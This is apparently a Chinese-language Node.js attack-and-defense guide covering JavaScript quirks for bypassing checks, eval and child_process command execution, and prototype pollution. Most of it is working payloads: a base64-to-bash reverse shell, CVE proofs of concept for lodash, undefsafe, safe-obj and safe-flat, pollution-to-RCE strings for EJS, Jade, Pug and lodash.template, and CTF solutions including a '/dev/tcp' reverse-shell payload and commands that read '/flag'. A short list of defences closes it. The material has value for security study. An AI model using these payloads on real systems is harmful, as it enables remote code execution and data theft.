nodejs全覆盖
字数 1025 2025-08-25 22:58:47

Node.js 安全攻防全面指南

1. Node.js 基础特性与安全风险

1.1 JavaScript 特性利用

大小写转换特性

  • toUpperCase()toLowerCase() 存在特殊字符转换特性:
    "ı".toUpperCase() == 'I'
    "ſ".toUpperCase() == 'S'
    "KK".toLowerCase() == 'k'
    
    可用于绕过大小写敏感的安全检查

弱类型比较

  • 数字与数字字符串比较时自动转换:
    console.log(1=='1'); // true
    console.log('111'>'3'); // false (字符串比较)
    console.log('asd'>1); // false (转换为0)
    
  • 数组比较规则:
    console.log([]==[]); // false
    console.log([6,2]>[5]); // true (比较第一个元素)
    console.log([100,2]<'test'); // true (数组总小于非数值字符串)
    

变量拼接特性

console.log(5+[6,6]); // "56,6"
console.log("5"+[6,6]); // "56,6"

ES6模板字符串

var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`; // 参数作为数组传入

2. Node.js 代码注入漏洞

2.1 危险函数

eval()

app.get('/',function(req,res){
    res.send(eval(req.query.a)); // 直接执行用户输入
})

定时器函数

setTimeout(()=>{ console.log("恶意代码") },2000);
setInterval(()=>{ console.log("恶意代码") },2000);

Function 构造函数

var aaa = Function("console.log('Hacked')")();

2.2 命令执行方法

child_process 模块

// 多种执行方式
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});

// 无require时的替代方案
global.process.mainModule.constructor._load('child_process').exec('calc')

反弹Shell

require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
// +号需要URL编码为%2B

2.3 文件操作

// 同步方法
res.end(require('fs').readdirSync('.').toString()); // 目录列表
res.end(require('fs').readFileSync('./file.txt').toString()); // 读文件
res.end(require('fs').writeFileSync('./file.txt','内容').toString()); // 写文件
res.end(require('fs').rmdirSync('./dir').toString()); // 删除目录

3. 原型链污染详解

3.1 基础概念

  • prototype:类的属性,所有实例共享
  • proto:实例属性,指向类的prototype
  • 查找机制:对象属性找不到时沿原型链向上查找

3.2 污染原理

let foo = {bar: 1};
foo.__proto__.bar = 2; // 修改Object原型
let zoo = {};
console.log(zoo.bar); // 2,新对象继承被污染的原型

3.3 污染场景

需要控制对象键名的操作,如:

  • merge/clone/copy操作
  • 对象赋值操作

典型污染示例

function merge(target, source) {
    for (let key in source) {
        target[key] = source[key]; // 关键赋值点
    }
}

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}'); // JSON解析保留__proto__键名
merge(o1, o2);

let o3 = {};
console.log(o3.b); // 2,污染成功

3.4 已知漏洞模块

Undefsafe (CVE-2019-10795)

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'evil!'});
console.log('this is '+test); // 触发污染

Lodash 系列漏洞

  1. defaultsDeep (CVE-2019-10744)

    const _ = require('lodash');
    _.defaultsDeep({}, JSON.parse('{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'));
    console.log(({}).whoami); // "Vulnerable"
    
  2. merge (CVE-2018-3721)

    var _ = require('lodash');
    _.merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
    
  3. zipObjectDeep (CVE-2020-8203)

    const _ = require('lodash');
    _.zipObjectDeep(['__proto__.z'],[123]);
    console.log(z); // 123
    

safe-obj (CVE-2021-25928)

var safeObj = require("safe-obj");
var obj = {};
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log({}.polluted); // "Yes! Its Polluted"

safe-flat (CVE-2021-25927)

var safeFlat = require("safe-flat");
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log({}.polluted); // "Yes! Its Polluted"

3.5 原型链污染到RCE

通过Lodash.template

{"__proto__":{"sourceURL":"\nreturn e=> {return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

通过EJS模板引擎 (CVE-2022-29078)

"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"

通过Jade模板引擎

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

4. 实战案例分析

4.1 CTF题目解析

Web 336 - 命令执行绕过

// 过滤了exec和load
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout
// 或字符串拼接
?eval=require('child_process')['exe'%2B'cSync']('ls').toString()

Web 337 - MD5比较绕过

// 使用数组绕过严格比较
a[]=1&b[]=2
// 长度相同但值不同,MD5比较时数组会转为字符串"[object Object]flag"

Web 338/339 - 原型链污染

// 污染已有属性
{"__proto__":{"ctfshow":"36dboy"}}

// 变量覆盖污染
{"__proto__":{"query":"return 123"}}
// 导致 { query: Function(query)(query) } 变为 { query: 123 }

4.2 真实漏洞案例

[网鼎杯2020]notes

// Undefsafe污染+命令执行
POST /edit_note
{"id":"__proto__.cmd","author":"bash -i >& /dev/tcp/IP/PORT 0>&1","raw":"1"}
// 触发执行
GET /status

[GYCTF2020]Ez_Express

// 1. 绕过admin校验
userid=admın&pwd=123&Submit=register // ı→I

// 2. 污染outputFunctionName
POST /action
{"__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"}}

// 3. 触发渲染
GET /info

[湖湘杯2021]vote

// Flat污染+Pug RCE
POST /api/submit
{
    "__proto__.hero":{"name":"菲奥娜"}, // 绕过检查
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat /flag > app/static/1.txt')"
    }
}

5. 防御措施

  1. 避免使用eval()等危险函数
  2. 对用户输入严格过滤
  3. 使用最新版本库,修复已知漏洞
  4. 冻结敏感原型:Object.freeze(Object.prototype)
  5. 使用Object.create(null)创建无原型的对象
  6. 检查JSON输入中的__proto__等敏感键名

6. 参考资源

  1. Node.js原型链污染专题
  2. Node.js官方文档
  3. CVE漏洞数据库
Node.js 安全攻防全面指南 1. Node.js 基础特性与安全风险 1.1 JavaScript 特性利用 大小写转换特性 toUpperCase() 和 toLowerCase() 存在特殊字符转换特性: 可用于绕过大小写敏感的安全检查 弱类型比较 数字与数字字符串比较时自动转换: 数组比较规则: 变量拼接特性 ES6模板字符串 2. Node.js 代码注入漏洞 2.1 危险函数 eval() 定时器函数 Function 构造函数 2.2 命令执行方法 child_ process 模块 反弹Shell 2.3 文件操作 3. 原型链污染详解 3.1 基础概念 prototype :类的属性,所有实例共享 proto :实例属性,指向类的prototype 查找机制:对象属性找不到时沿原型链向上查找 3.2 污染原理 3.3 污染场景 需要控制对象键名的操作,如: merge/clone/copy操作 对象赋值操作 典型污染示例 3.4 已知漏洞模块 Undefsafe (CVE-2019-10795) Lodash 系列漏洞 defaultsDeep (CVE-2019-10744) merge (CVE-2018-3721) zipObjectDeep (CVE-2020-8203) safe-obj (CVE-2021-25928) safe-flat (CVE-2021-25927) 3.5 原型链污染到RCE 通过Lodash.template 通过EJS模板引擎 (CVE-2022-29078) 通过Jade模板引擎 4. 实战案例分析 4.1 CTF题目解析 Web 336 - 命令执行绕过 Web 337 - MD5比较绕过 Web 338/339 - 原型链污染 4.2 真实漏洞案例 [ 网鼎杯2020 ]notes [ GYCTF2020]Ez_ Express [ 湖湘杯2021 ]vote 5. 防御措施 避免使用 eval() 等危险函数 对用户输入严格过滤 使用最新版本库,修复已知漏洞 冻结敏感原型: Object.freeze(Object.prototype) 使用 Object.create(null) 创建无原型的对象 检查JSON输入中的 __proto__ 等敏感键名 6. 参考资源 Node.js原型链污染专题 Node.js官方文档 CVE漏洞数据库